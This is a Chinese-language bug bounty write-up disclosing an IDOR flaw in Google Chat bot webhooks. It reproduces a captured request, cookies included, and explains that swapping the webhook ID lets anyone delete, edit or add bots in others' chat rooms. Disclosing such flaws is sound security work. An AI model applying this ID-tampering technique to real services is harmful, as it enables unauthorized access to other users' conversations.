Gsuite Hangouts Chat 5k IDOR
大家好,
正如大多数人应该看到的,Google VRP已经开始进行每周漏洞推广活动。我提交的一个漏洞被选为本周的亮点,所以现在与大家分享。
这是关于我在三月份发现的影响chat.google.com的IDOR漏洞的分析报告。
三月份,在浏览Twitter后,我注意到Google Chat成为热门话题。我立即认为这是一个正在推广的新产品,并开始阅读一些相关帖子。经过研究,发现这是为Gsuite客户及其用户提供的团队协作聊天室,供他们相互发送消息。就像大多数漏洞猎人一样,当你看到新产品推出时,就是时候去测试它了。
然后我设置了Gsuite账户并访问了chat.google.com。这是一个聊天区域,因此XSS是我首先测试的内容。我没有发现与此相关的任何问题,但也许其他人发现了;)。
由于这是一个新功能,我相当确定它一定存在某些问题,因此我启动了Burp Suite并开始检查所有通过的请求。
经过一段时间的观察,我注意到在这些聊天室中,用户可以添加机器人webhook、删除它们、编辑它们等。这些机器人webhook允许连接到聊天室的机器人向房间发送消息,如果用户@机器人,还可以读取消息等。机器人的实现可以在这里阅读:https://developers.google.com/hangouts/chat/how-tos/bots-develop
例如,在删除webhook时,Burp Suite中运行的请求如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
POST /_/DynamiteWebUi/mutate?ds.extension=115617448&f.sid=-8125538407103612547&hl=en&soc-app=534&soc-platform=1&soc-device=1&_reqid=10551185&rt=c HTTP/1.1
Host: chat.google.com
Connection: close
Content-Length: 225
X-Same-Domain: 1
Origin: https://chat.google.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
X-Client-Data: CIm2yQEIprbJAQjEtskBCKmdygEI7Z7KAQioo8oB
Accept: */*
Referer: https://chat.google.com/
Accept-Encoding: gzip, deflate
Accept-Language: en,en-GB;q=0.9
Cookie: 1P_JAR=2018-2-28-19; HSID=Abx0Xo43JAoofqOKS; SSID=ARXCoaFb-TH2GqLPQ; APISID=Q3MACqZWeAe8kt-_/AKx7734WMwG2uVZH1; SAPISID=nqYEUnsiTn_6uKOn/AdH--sbzTfjsz9cnv; NID=124=SoBxeZUELNfhi9f7mrBzcSGnZ1w8uYFn-kBYBWik5236veI2YfT78wwxQanT6_Y0OOb_HERtBK_N1MWrKXCucmVfry6GINfq8o2adBLGkErshu6inrVfM4UckgHMcEEeT9_IB93gaOMboXWYS5_9QkIecg; SID=0wVQgy4t9V79MSxExAlhwQm__pNVCp758iCRdNqh4Wi2X1A-pjQd6T3iwB-rckAX5n1xzQ.; OTZ=4292347_76_76_104100_72_446760; SIDCC=AAiTGe_-r1x0cGo-MPMgd4BrnKTQWiPe90Jw9u5LvH_IlQZaRdqLtC6FMYYGZXq70r9EkC8tHcw
f.req=%5B%22af.maf%22%2C%5B%5B%22af.add%22%2C115617448%2C%5B%7B%22115617448%22%3A%5B%5B%22space%2FAAAAbkEmhbA%22%2C%22AAAAbkEmhbA%22%2C2%5D%2C%22test3322xx%22%5D%7D%5D%5D%5D%5D&at=AJwI_LDFWIAMSGUjX3mVuYZZbn-n%3A1519845183375&
|
如果你仔细查看该请求的底部,你应该看到:
f.req=%5B%22af.maf%22%2C%5B%5B%22af.add%22%2C115617448%2C%5B%7B%22115617448%22%3A%5B%5B%22space%2FAAAAbkEmhbA%22%2C%22AAAAbkEmhbA%22%2C2%5D%2C%22test3322xx%22%5D%7D%5D%5D%5D%5D&
如果你是一位经验丰富的漏洞猎人,步骤应该在这里变得清晰了;)
你会在这个请求中看到两种类型的ID:
第一个是:115617448
第二个是:AAAAbkEmhbA
第一个ID是实际机器人webhook的ID。第二个ID是聊天室的ID。
然后你只需要简单地将ID替换为另一个机器人webhook的ID,例如,在这种情况下你将删除它。整个机器人webhook区域没有正确检查你是否具有执行任何操作的授权。
因此,你可以删除、编辑甚至将自己的机器人webhook添加到任何人的聊天室,并通过它发送消息等。
感谢阅读,希望你喜欢。如果你有任何其他问题,我的Twitter链接在页面顶部。